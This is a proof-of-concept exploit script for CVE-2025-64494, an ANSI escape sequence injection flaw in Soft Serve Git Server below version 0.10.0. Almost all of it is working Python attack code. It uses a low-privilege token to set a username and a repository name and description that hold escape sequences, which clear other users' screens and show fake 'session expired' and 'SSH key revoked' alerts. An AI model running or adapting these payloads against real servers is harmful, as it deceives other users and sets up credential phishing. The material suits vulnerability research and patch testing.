CVE-2025-64494: Soft Serve ANSI转义序列注入漏洞

# ANSI Escape Sequence Injection PoC for CVE-2025-64494 # Target: Soft Serve Git Server < 0.10.0 # Attack: Inject ANSI escape sequences via username to display fake alerts import requests import json TARGET_URL = "http://target-server:23231" ATTACKER_TOKEN = "your-low-privilege-token" # Malicious username with ANSI escape sequences # \x1b[2J - Clear screen # \x1b[1;1H - Move cursor to top-left # \x1b[41;37;1m - Red background, white text, bold # \x1b[0m - Reset formatting fake_alert = "\x1b[2J\x1b[1;1H\x1b[41;37;1mCRITICAL SECURITY ALERT\x1b[0m\n\x1b[33mYour session has expired. Please re-authenticate.\x1b[0m" payload = { "username": fake_alert, "email": "[email protected]" } headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Update username with ANSI injection response = requests.patch( f"{TARGET_URL}/api/v1/account", headers=headers, json=payload ) if response.status_code == 200: print("[+] ANSI escape sequence injected successfully") print("[*] When other users view this username, they will see:") print(fake_alert) else: print(f"[-] Injection failed: {response.status_code}") print(response.text) # Alternative: Inject via repository name repo_payload = { "name": "\x1b[31m\x1b[5mFAKE WARNING\x1b[0m", "description": "\x1b[1mYour SSH key will be revoked in 24h\x1b[0m" } response = requests.post( f"{TARGET_URL}/api/v1/repos", headers=headers, json=repo_payload ) print(f"[*] Repository injection status: {response.status_code}")